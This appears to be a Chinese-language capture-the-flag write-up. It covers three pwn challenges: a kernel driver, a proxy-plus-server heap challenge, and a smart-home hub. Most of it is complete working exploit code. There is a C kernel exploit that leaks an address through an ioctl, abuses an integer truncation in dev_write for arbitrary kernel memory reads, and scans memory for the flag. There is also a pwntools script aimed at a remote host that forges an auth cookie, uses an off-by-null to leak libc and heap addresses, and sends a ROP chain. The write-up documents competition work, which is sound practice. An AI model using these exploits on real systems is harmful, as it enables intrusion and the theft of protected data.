ram_snoop

__int64 flag_init() {
    v1 = fopen64("/flag");
    flag = malloc(0x100LL, ...);
    fread_unlocked(flag, 1LL, 256LL, v1);
    fclose(v1);
    return remove("/flag");
}

eatflag会把flag读出来写到用户态地址里面

ioctl命令里面有一个,0x83170405,可以泄露出global_buf地址,dev_write存在漏洞,

__int64 dev_write(__int64 a1, __int64 a2, unsigned __int64 size, __int64 *pos_ptr) {
    __int64 pos = *pos_ptr;
    if (*pos_ptr > 0xFFFF && pos >= *(global_buf + 0x10008))
        return -105LL;
    if (pos + size > 0x10000)
        size = (unsigned __int16)(-pos);
    copy_from_user(global_buf + pos + head, user_buf, size);
    *pos_ptr += size;
    *(global_buf + 0x10008) += size;
    return size;
}

pos = 0x10001时,size = (uint16_t)(-0x10001) = (uint16_t)(-1) = 0xFFFF,可以溢出

ioctl(fd, 0x83170405, &data);
global_buf_addr = data.buf_addr;  // 获取内核地址

然后多次写入tail > 0x10009,使得溢出覆盖到tail

然后我们只需要暴力搜索flag就行,不需要提权

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <stdint.h>

// ioctl commands
#define IOCTL_GET_PID       0x83170401
#define IOCTL_GET_NAME      0x83170402
#define IOCTL_GET_REMAIN    0x83170403
#define IOCTL_GET_USED      0x83170404
#define IOCTL_GET_BUF_ADDR  0x83170405

int fd;
size_t global_buf_addr = 0;

// ioctl 返回 40 字节数据
struct ioctl_data {
    uint64_t field0;         // offset 0
    uint64_t field1;         // offset 8
    uint64_t field2;         // offset 16
    uint64_t field3;         // offset 24
    uint64_t buf_addr;       // offset 32 (global_buf address for cmd 0x83170405)
};

void err_exit(const char *msg) {
    perror(msg);
    exit(-1);
}

void hexdump(const void *data, size_t size) {
    const unsigned char *p = (const unsigned char *)data;
    for (size_t i = 0; i < size; i++) {
        if (i % 16 == 0) printf("%04lx: ", i);
        printf("%02x ", p[i]);
        if ((i + 1) % 16 == 0 || i + 1 == size) {
            // 打印 ASCII
            size_t start = i - (i % 16);
            size_t end = (i + 1) % 16 == 0 ? i + 1 : i + 1;
            for (size_t j = end; j % 16 != 0; j++) printf("   ");
            printf(" |");
            for (size_t j = start; j < end; j++) {
                printf("%c", (p[j] >= 0x20 && p[j] < 0x7f) ? p[j] : '.');
            }
            printf("|\n");
        }
    }
}

size_t leak_global_buf() {
    struct ioctl_data data = {0};
    int ret = ioctl(fd, IOCTL_GET_BUF_ADDR, &data);
    size_t addr = data.buf_addr;
    if (addr == 0 || (addr >> 48) != 0xffff) {
        if ((data.field0 >> 48) == 0xffff) addr = data.field0;
        else if ((data.field1 >> 48) == 0xffff) addr = data.field1;
        else if ((data.field2 >> 48) == 0xffff) addr = data.field2;
        else if ((data.field3 >> 48) == 0xffff) addr = data.field3;
    }

    printf("[+] global_buf addr: 0x%lx\n", addr);
    return addr;
}

void inflate_tail(size_t target) {
    char *buf = malloc(0x10000);
    memset(buf, 'A', 0x10000);

    size_t current_tail = 0;
    while (current_tail < target) {
        lseek(fd, 0, SEEK_SET);
        ssize_t ret = write(fd, buf, 0x10000);
        if (ret <= 0) {
            printf("[-] write failed, ret=%ld\n", ret);
            break;
        }
        current_tail += ret;
        printf("[*] tail now: 0x%lx\n", current_tail);
    }

    free(buf);
}
void corrupt_tail() {
    printf("[*] Corrupting tail to extend seek range...\n");
    inflate_tail(0x20000);
    off_t ret = lseek(fd, 0x10001, SEEK_SET);
    printf("[*] lseek(0x10001) = 0x%lx\n", ret);
    if (ret < 0) {
        perror("[-] lseek failed");
        return;
    }
    char *payload = malloc(0x10000);
    memset(payload, 0, 0x10000);

    size_t fake_tail = 0x7FFFFFFFFFFFFFFF - 0xFFFF;  // 写入后 tail = 0x7FFFFFFFFFFFFFFF
    memcpy(payload + 7, &fake_tail, 8);

    ssize_t written = write(fd, payload, 0x10000);
    printf("[*] write returned: %ld\n", written);

    free(payload);

    printf("[+] Tail corrupted, now we can seek anywhere!\n");
}

// 任意地址读取(静默模式用于扫描)
ssize_t arb_read_silent(size_t target_addr, char *out_buf, size_t len) {
    int64_t pos = (int64_t)(target_addr - global_buf_addr);
    off_t ret = lseek(fd, pos, SEEK_SET);
    if (ret < 0) return -1;
    memset(out_buf, 0, len);
    return read(fd, out_buf, len);
}

// 任意地址读取(带调试输出)
ssize_t arb_read(size_t target_addr, char *out_buf, size_t len) {
    int64_t pos = (int64_t)(target_addr - global_buf_addr);
    printf("[*] arb_read: target=0x%lx, pos=0x%lx\n", target_addr, (size_t)pos);

    off_t ret = lseek(fd, pos, SEEK_SET);
    if (ret < 0) {
        printf("[-] lseek to 0x%lx failed\n", (size_t)pos);
        return -1;
    }

    memset(out_buf, 0, len);
    return read(fd, out_buf, len);
}

int main() {
    fd = open("/dev/noc", O_RDWR);
    if (fd < 0) {
        err_exit("[-] open /dev/noc failed");
    }
    puts("[+] opened /dev/noc");
    global_buf_addr = leak_global_buf();
    if (global_buf_addr == 0) {
        puts("[-] Failed to leak global_buf address");
        close(fd);
        return -1;
    }

    corrupt_tail();

    puts("\n[*] Testing arbitrary read...");
    char test_buf[0x100];
    lseek(fd, 0, SEEK_SET);
    ssize_t rd = read(fd, test_buf, 0x40);
    printf("[*] Direct read returned: %ld\n", rd);
    if (rd > 0) hexdump(test_buf, rd);

    rd = arb_read(global_buf_addr, test_buf, 0x100);
    printf("[*] Read %ld bytes from global_buf:\n", rd);
    if (rd > 0) {
        hexdump(test_buf, rd > 0x40 ? 0x40 : rd);
    }
    rd = arb_read(global_buf_addr + 0x10000, test_buf, 0x40);
    printf("[*] Read returned: %ld\n", rd);
    if (rd > 0) hexdump(test_buf, rd);
    rd = arb_read(global_buf_addr + 0x100000, test_buf, 0x40);
    printf("[*] Read returned: %ld\n", rd);
    if (rd > 0) hexdump(test_buf, rd);
    char buf[0x1000];
    size_t scan_start = global_buf_addr;
    size_t mem_size = 256 * 1024 * 1024;  // 扫描 256MB
    size_t scan_end = scan_start + mem_size;

    int fail_count = 0;
    for (size_t addr = scan_start; addr < scan_end; addr += 0x1000) {
        memset(buf, 0, sizeof(buf));
        ssize_t n = arb_read_silent(addr, buf, 0x1000);

        if (n <= 0) {
            fail_count++;
            if (fail_count > 100) {
                printf("\n[-] Too many read failures, stopping scan\n");
                break;
            }
            continue;
        }
        fail_count = 0;

        // 搜索 flag 格式
        for (int i = 0; i < n - 50; i++) {
            if ((buf[i] == 'f' && buf[i+1] == 'l' && buf[i+2] == 'a' && buf[i+3] == 'g')) {
                hexdump(buf + i, 0x80);
                for (int j = 0; j < 100 && buf[i+j] != '\0' && buf[i+j] != '\n'; j++) {
                    putchar(buf[i+j]);
                    if (buf[i+j] == '}') {
                        putchar('\n');
                        break;
                    }
                }
                close(fd);
                return 0;
            }
        }
        if ((addr - scan_start) % 0x100000 == 0) {
            printf("[*] Scanning: 0x%lx (%.1f MB / %.1f MB)\r", 
                   addr, 
                   (double)(addr - scan_start) / (1024*1024),
                   (double)mem_size / (1024*1024));
            fflush(stdout);
        }
    }

    puts("\n[-] Flag not found in scanned range");

    close(fd);
    return 0;
}

image-20251228105251937

easy-rw

代理端upx加密,upx -d解密就行,check的时候有溢出,可以修改rsa的加密的n,从而拿到cookie

服务端需要按照固定格式去输入数据

json_body = '{' + f'"command":"{cmd}","param1":"{param1}","param2":"{param2}","param3":"{param3}"' + '}'
payload = f"rtsp://{USERNAME}/{json_body}".encode()

如果非法输入就会进入sub_1B3E这个函数里面的sub_1B10

sub_1B10函数存在栈溢出

image-20251229091139780

这个src里面就是我们错误的url,所以可以通过这个劫持

image-20251229091224139edit这里有一个off by null,输入长度和堆块大小一样,就会在最后补一个00

所以两个结合,泄露libc和堆地址之后再写rop输出flag就行,因为监听的问题,所以不能拿shell,或者写sc去反弹shell也是可以的(最开始是写sc的,但是read怎么都读入不了,所以没招了,又泄露的heap,往里面写的flag字符串,因为会截断,所以shellcode不能写到堆里面)

from pwn import *
import struct

# context.terminal = ["tmux", "split", "-h"]

context(log_level="debug", arch="amd64", os="linux")

libc = ELF("./libc.so.6")

USERNAME = "dvRBn"
HOST = "101.200.144.76"
PORT =  36883

CMD_AUTH = 0xFFFF2525
CMD_FORWARD = 0x7F687985
CMD_UPDATE_CONFIG = 0x85856547
CMD_READ_LOG = 0x85856546

RSA_N = 0xFFFFFFFFFFFFFFFF  # 最大 64 位值
RSA_D = 0x0000000000000001  # d=1, 简化计算

global io
global cookie
cookie = None

def fnv1a_hash(data):
    v3 = 0x14650FB0739D0383
    for c in data:
        v3 = (0x100000001B3 * (c ^ v3)) & 0xFFFFFFFFFFFFFFFF
    v3 = v3 & 0xFFFFFF00FFFFFFFF
    return v3

def swap_endian_64(val):
    high = (val >> 32) & 0xFFFFFFFF
    low = val & 0xFFFFFFFF
    high_swapped = struct.unpack("<I", struct.pack(">I", high))[0]
    low_swapped = struct.unpack("<I", struct.pack(">I", low))[0]
    return (low_swapped << 32) | high_swapped

def proxy_send_raw(cmd, data):
    """发送原始命令到 proxy"""
    io = remote(HOST, PORT)
    header = struct.pack(">I", cmd)
    length = struct.pack(">I", len(data))
    io.send(header + length + data)
    resp = io.recv(4096, timeout=2)
    io.close()
    return resp

def proxy_send_raw_interactive(cmd, data):
    io = remote(HOST, PORT)
    header = struct.pack(">I", cmd)
    length = struct.pack(">I", len(data))
    io.send(header + length + data)
    return io

def setup_rsa_overflow():
    # 正确的配置字符串,注意结尾的 \x00
    config = b"n=FFFFFFFFFFFFFFFF&d=1\x00"
    payload = b"A" * 0x100 + config

    resp = proxy_send_raw(CMD_UPDATE_CONFIG, payload)
    if resp != b"OK":
        warn(f"Config update failed: {resp}")
        return False
    return True

def authenticate():
    global cookie

    # 正确的签名:0x21E6,大端序
    v16 = p64(0x21E6, endian="big")
    resp = proxy_send_raw(CMD_AUTH, v16)

    if len(resp) != 32:
        warn(f"Auth failed: {resp}")
        return False

    cookie = resp
    success(f"Got cookie: {cookie.hex()}")
    return True

def forward_data(data):
    global cookie
    if cookie is None:
        error("No cookie! Authenticate first.")
        return None

    forward_payload = cookie + data
    return proxy_send_raw(CMD_FORWARD, forward_payload)

def forward_data_interactive(data):
    global cookie  
    forward_payload = cookie + data
    return proxy_send_raw_interactive(CMD_FORWARD, forward_payload)

def send_cmd(cmd, param1="", param2="", param3=""):
    if isinstance(param2, bytes):
        param2 = param2.decode('latin-1')
    if isinstance(param3, bytes):
        param3 = param3.decode('latin-1')
    json_body = '{' + f'"command":"{cmd}","param1":"{param1}","param2":"{param2}","param3":"{param3}"' + '}'
    payload = f"rtsp://{USERNAME}/{json_body}".encode()
    return forward_data(payload)

def send_cmd1(cmd, param1="", param2="", param3=""):
    json_body = '{' + f'"command":"{cmd}","param1":"{param1}","param2":"{param2}","param3":"{param3}"' + '}'
    payload = f"rtsp://{USERNAME}/{json_body}".encode()
    return forward_data_interactive(payload)

info("Setting up RSA overflow...")
if not setup_rsa_overflow():
    exit(1)

info("Authenticating...")
if not authenticate():
    exit(1)

def add(size, content=b'a'*8):
    return send_cmd("add", str(size), content)

def delete(idx):
    return send_cmd("delete", str(idx))

def edit(idx, content):
    return send_cmd("edit", str(idx), content)

def show(idx):
    return send_cmd("show", str(idx))

def dbg(cmd=""):
    import subprocess
    pid = subprocess.check_output(["pidof", "server"]).decode().strip().split()[0]
    gdb.attach(int(pid), cmd)

for i in range(7):
    add(0x130)#0~6
#for i in range()
for i in range(7):
    add(0x110)#7~13
for i in range(7):
    add(0xf0)#14~20
add(0x130)#Z 21
add(0x130)#A 22
add(0xf0)#23
add(0x130)#B  24
add(0x130)#C  25
add(0xf0)#26
add(0x130)#D 27
add(0x130)#E 28
add(0x80)#29

for i in range(7):
    delete(i)#0~6

delete(22)#A
delete(25)#C
delete(28)#E
delete(24)#B

payload=b'a'*(0x138)+p16(0x141)
add(0x150,payload)#new B  30
add(0x110)#new C 31

for i in range(7):
    add(0x130)#32~39

add(0x130)#A  39
add(0x130)#E 40

for i in range(7):
    delete(32+i)
for i in range(14):
    delete(7+i)

delete(39)#A  
delete(31)#C
delete(40)#E
delete(27)#D
delete(21)#Z

for i in range(7): 
    add(0x110)#41~47
for i in range(7):
    add(0x130)#48~54

add(0x60)#new C 1   55
add(0xa8)#new C 2   56
edit(56,b'a'*(0xa8))
for i in range(1,9):
    edit(56,b'a'*(0xa8-i))
edit(56,b'a'*(0xa0)+p16(0x140))
#dbg()
add(0x60)#new A 1    57
add(0x200)#new A 2   58
add(0x60)#new E 1   59
add(0x200)#new E 2   60

edit(58,b'a'*(0xd0))

for i in range(1,9):
    edit(58,b'a'*(0xd0-i))
edit(58,b'a'*(0xc8)+p16(0x141))

edit(60,b'a'*(0xd8))

for i in range(1,0x10+1):
    edit(60,b'a'*(0xd8-i))
edit(60,b'a'*(0xc8)+p16(0x141))

delete(26)
add(0x18)#61

json_body = '{"command":"show","param1":"55","param2":"","param3":""}'
rtsp_payload = f"rtsp://{USERNAME}/{json_body}".encode()
resp = forward_data(rtsp_payload)
idx = resp.find(b"\x0a")  # 找第一个 0a
libc.address = u64(resp[idx-6:idx].ljust(8, b"\x00")) - 0x1ecbe0
info("libc base: " + hex(libc.address))
add(0x100)#62
add(0x100)#63
delete(63)
delete(62)

resp = show(55)
idx = resp.find(b":")
idx = resp.find(b":", idx+1)
heap = u64(resp[idx+1:idx+7].ljust(8, b'\x00'))
info("heap: " + hex(heap))

edit(55, b'/flag')

rop_payload = b"a" * (0x20+8)
rop_payload += p64(next(libc.search(asm("pop rdi; ret;"), executable=True)))
rop_payload += p64(heap-0x110)
rop_payload += p64(next(libc.search(asm("pop rsi; ret;"), executable=True)))
rop_payload += p64(0x0)
rop_payload += p64(libc.sym['open'])

rop_payload += p64(next(libc.search(asm("pop rdi; ret;"), executable=True)))
rop_payload += p64(5)
rop_payload += p64(next(libc.search(asm("pop rsi; ret;"), executable=True)))
rop_payload += p64(heap+0x1000)
rop_payload += p64(next(libc.search(asm("pop rdx;pop rbx; ret;"), executable=True)))
rop_payload += p64(0x100)
rop_payload += p64(7)
rop_payload += p64(libc.sym['read'])

rop_payload += p64(next(libc.search(asm("pop rdi; ret;"), executable=True)))
rop_payload += p64(4)
rop_payload += p64(next(libc.search(asm("pop rsi; ret;"), executable=True)))
rop_payload += p64(heap+0x1000)
rop_payload += p64(next(libc.search(asm("pop rdx;pop rbx; ret;"), executable=True)))
rop_payload += p64(0x100)
rop_payload += p64(7)
rop_payload += p64(libc.sym['write'])

io = forward_data_interactive(rop_payload + b"\r\n")

io.interactive()

image-20251228173033966

smart home

看了几个小时,但是没写出来,解包能拿到php代码。里面任意文件读入,flag是root权限,所以读不出来,但是注意到hub是root权限运行的,可以把hub下载下来,这个就是我们需要pwn的,里面存在一个后门。socks发送102(好像是,记不得了),就能把flag改成可以读的,但是这个程序的端口没有代理出来(应该拿fscan扫一下的,忘记了),所以只能伪造服务端去发送数据,也就是ssrf,但是找不到任何可以ssrf的代码,不知道怎么做的